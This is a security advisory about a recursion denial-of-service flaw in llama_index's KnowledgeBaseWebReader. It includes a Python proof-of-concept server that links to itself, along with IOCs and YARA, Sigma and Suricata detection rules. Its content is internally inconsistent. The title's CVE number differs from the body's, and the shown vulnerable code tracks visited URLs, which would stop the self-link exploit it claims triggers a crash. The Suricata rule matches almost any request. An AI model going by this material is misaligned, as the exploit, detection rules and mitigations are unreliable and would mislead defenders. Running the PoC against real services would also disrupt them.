CVE-2025-1752

Executive Summary

CVE-2025-1755 is a high-severity Denial of Service (DoS) vulnerability affecting the run-llama/llama_index project, specifically in the KnowledgeBaseWebReader class. The flaw arises from improper recursion control in the get_article_urls function, which lacks a proper max_depth parameter. An attacker can craft a malicious web page or feed that triggers deep recursion, exhausting Python's recursion limit and crashing the process. This vulnerability has a CVSS score of 7.5 (High) and is currently unpatched. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for production environments.

Supply Chain & Package Security

This vulnerability affects the PyPI package llama-index (version 0.12.15). Organizations using this package in their AI/LLM pipelines should treat it as a supply chain risk. The lack of a patch means that any application relying on KnowledgeBaseWebReader is vulnerable to DoS attacks. Users should monitor the official repository for updates and consider temporary mitigations.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete loss of availability (process crash).

Threat Level: High. The vulnerability is easy to exploit remotely with no privileges, leading to a denial of service.

Deep Dive & Mechanics

The KnowledgeBaseWebReader class is designed to fetch and parse web articles for knowledge base ingestion. The get_article_urls function recursively follows links to build a list of article URLs. The vulnerability stems from the absence of a max_depth parameter, which would limit recursion depth. Without this limit, an attacker can supply a URL that leads to an infinite or deeply nested chain of links, causing Python to exceed its recursion limit (default 1000). This results in a RecursionError and process crash.

Root Cause: Insecure coding practice – missing recursion depth control.

Attack Vector: An attacker sends a crafted URL to the KnowledgeBaseWebReader that triggers deep recursion. For example, a web page with a link to itself, or a chain of pages that each link to the next.

Impact: Denial of service – the Python process crashes, affecting availability of the service.

Vulnerable vs. Patched Code

Vulnerable Code (v0.12.15):

def get_article_urls(self, url, visited=None):
    if visited is None:
        visited = set()
    if url in visited:
        return []
    visited.add(url)
    # ... fetch page, extract links ...
    urls = []
    for link in links:
        urls.extend(self.get_article_urls(link, visited))
    return urls

Patched Code (hypothetical):

def get_article_urls(self, url, visited=None, depth=0, max_depth=5):
    if visited is None:
        visited = set()
    if url in visited or depth > max_depth:
        return []
    visited.add(url)
    # ... fetch page, extract links ...
    urls = []
    for link in links:
        urls.extend(self.get_article_urls(link, visited, depth+1, max_depth))
    return urls

The patched version introduces a max_depth parameter (default 5) and a depth counter to prevent infinite recursion.

Exploitation & Lab Setup

Red Team

Objective: Crash the target Python process running llama_index with KnowledgeBaseWebReader.

Lab Setup:

1. Install vulnerable version: pip install llama-index==0.12.15
2. Create a malicious web server that returns a page with a link to itself.

Exploit Code (Python):

import requests
from llama_index.readers.web import KnowledgeBaseWebReader

# Start a malicious server (simplified)
from http.server import HTTPServer, BaseHTTPRequestHandler
class MaliciousHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(b'<html><body><a href="/">link</a></body></html>')

server = HTTPServer(('localhost', 9999), MaliciousHandler)
import threading
t = threading.Thread(target=server.serve_forever)
t.daemon = True
t.start()

# Trigger the vulnerability
reader = KnowledgeBaseWebReader()
try:
    reader.get_article_urls("http://localhost:9999/")
except RecursionError:
    print("Process crashed!")

Expected Outcome: The Python process crashes with a RecursionError.

Blue Team

Detection: Monitor for excessive recursion errors in application logs. Use the Sigma rule below to detect attempts.

Mitigation: Implement a custom wrapper that limits recursion depth before calling get_article_urls.

Hunting: Look for logs containing RecursionError or maximum recursion depth exceeded in Python applications using llama_index.

Indicators of Compromise (IOCs)

• Log Entries: RecursionError: maximum recursion depth exceeded in application logs.
• Network Traffic: Repeated requests to the same URL or chain of URLs from a single source.
• Process Behavior: Python process crash with exit code 1 or signal 6 (SIGABRT).
• File System: Core dumps or traceback files containing get_article_urls recursion.

Detection Engineering

YARA Rule

rule CVE_2025_1755_Recursion_DoS {
    meta:
        description = "Detects Python code vulnerable to CVE-2025-1755 recursion DoS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1755"
    strings:
        $func = "def get_article_urls" nocase
        $recursion = "get_article_urls(" nocase
        $no_max_depth = "max_depth" nocase
    condition:
        $func and #recursion > 2 and not $no_max_depth
}

Sigma Rule

title: CVE-2025-1755 - Recursion DoS in llama_index KnowledgeBaseWebReader
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects Python RecursionError indicating exploitation of CVE-2025-1755
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: python
detection:
    selection:
        EventID: 1000  # Example for Python crash
        Message|contains: "RecursionError"
    condition: selection
falsepositives:
    - Legitimate deep recursion in other applications
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1755 - Potential Recursion DoS Attack"; flow:to_server; content:"/"; depth:1; http_uri; pcre:"/^\/+$/"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation:

1. Limit recursion depth: Wrap the get_article_urls call with a custom function that enforces a maximum depth (e.g., 5).
2. Input validation: Validate URLs to avoid self-referencing or circular links.
3. Resource limits: Use Python's sys.setrecursionlimit() to increase the limit temporarily, but this is not a fix.

Long-term Fix:

• Apply the patch from the vendor once available (add max_depth parameter).
• Monitor the official repository for updates.

Workaround:

• Disable or replace KnowledgeBaseWebReader with an alternative reader that has proper recursion control.

Valters IT
DevSecOps & Cyber Threat Intelligence